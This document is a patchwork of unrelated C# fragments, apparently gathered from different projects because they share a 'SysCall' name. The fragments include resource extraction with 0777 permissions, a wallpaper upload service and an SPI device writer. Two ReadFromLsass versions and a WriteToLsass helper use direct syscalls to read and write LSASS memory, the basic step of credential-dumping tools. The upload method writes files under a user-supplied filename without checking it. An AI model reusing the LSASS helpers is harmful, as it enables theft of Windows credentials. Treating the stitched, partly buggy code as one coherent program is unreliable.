/// <summary>
/// Extracts all the file resources to the specified base path.
/// </summary>
public static void ExtractAll()
{
var basePath = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
var executablePermissions = SysCall.StringToInteger("0777", IntPtr.Zero, 8);
foreach (var resourceName in ResourceNames)
{
var filename = resourceName.Substring($"{typeof(EmbeddedResources).Namespace}.".Length);
var targetPath = Path.Combine(basePath, filename);
if (File.Exists(targetPath))
{
return;
}
using (var stream = typeof(EmbeddedResources).Assembly
.GetManifestResourceStream(resourceName))
{
using (var outputStream = File.OpenWrite(targetPath))
{
stream?.CopyTo(outputStream);
}
try
{
SysCall.Chmod(targetPath, (uint)executablePermissions);
}
catch
{
/* Ignore */
}
}
}
}
public void call(int id)
{
if (_systemCall.ContainsKey(id))
{
SysCall syscall = _systemCall[id];
syscall();
}
}
public static bool WriteToLsass(ref IntPtr hLsass, IntPtr addr, byte[] bytesToWrite)
{
IntPtr bytesWrited = IntPtr.Zero;
GCHandle pbytesToWritepinnedArray = GCHandle.Alloc(bytesToWrite, GCHandleType.Pinned);
IntPtr pbytesToWrite = pbytesToWritepinnedArray.AddrOfPinnedObject();
NTSTATUS status = SysCall.NtWriteVirtualMemory10(hLsass, addr, pbytesToWrite, (uint)bytesToWrite.Length, ref bytesWrited);
return(status == NTSTATUS.Success);
}
public static byte[] ReadFromLsass(ref IntPtr hLsass, IntPtr addr, ulong bytesToRead)
{
int bytesRead = 0;
byte[] bytev = new byte[Convert.ToInt32(bytesToRead)];
NTSTATUS status = SysCall.NtReadVirtualMemory10(hLsass, addr, bytev, Convert.ToInt32(bytesToRead), bytesRead);
return(bytev);
}
public WallpaperDTO MapToDTO(Wallpaper wp, bool includeContent = false)
{
return(new WallpaperDTO()
{
Id = wp.Id,
WallpaperFileName = wp.WallpaperFileName,
WallpaperFileType = wp.WallpaperFileType,
WallpaperContent = includeContent ? SysCall.LoadContent(wp.WallpaperFileName) : null
});
}
public WallpaperDTO UploadWallpaper(WallpaperUploadDTO dto)
{
string filename = SysCall.SaveContent(dto.WallpaperFileName, dto.WallpaperContent);
int id = dbservice.RegisterWallpaper(new Wallpaper()
{
WallpaperFileName = dto.WallpaperFileName,
WallpaperFileType = Path.GetExtension(dto.WallpaperFileName).Substring(1)
});
return(mapper.MapToDTO(dbservice.GetWallpaper(id)));
}
/// <inheritdoc />
public void Write(byte[] buffer)
{
lock (_syncLock)
{
var result = SysCall.Write(FileDescriptor, buffer, buffer.Length);
if (result < 0)
{
HardwareException.Throw(nameof(SpiChannel), nameof(Write));
}
}
}
public static byte[] ReadFromLsass(ref IntPtr hLsass, IntPtr addr, long bytesToRead)
{
if (bytesToRead < 0)
{
throw new ArgumentException($"{bytesToRead} is not a valid number of bytes to read");
}
if (bytesToRead == 0)
{
return(new byte[0]);
}
int bytesRead = 0;
byte[] bytev = new byte[bytesToRead];
NTSTATUS status = SysCall.NtReadVirtualMemory10(hLsass, addr, bytev, (int)bytesToRead, bytesRead);
return(bytev);
}
public Startup(IConfiguration configuration)
{
Configuration = configuration;
bool hide = bool.Parse(Configuration["HideOnStart"]);
if (hide)
{
SysCall.Hide();
}
bool seed = bool.Parse(Configuration["SeedOnStart"]);
if (seed)
{
DatabaseService databaseService = new DatabaseService(Configuration);
databaseService.RegisterWallpaper(new Wallpaper()
{
WallpaperFileName = "test.png", WallpaperFileType = "png"
});
}
}
private void addSysCall(int id, SysCall syscall)
{
_systemCall.Add(id, syscall);
}
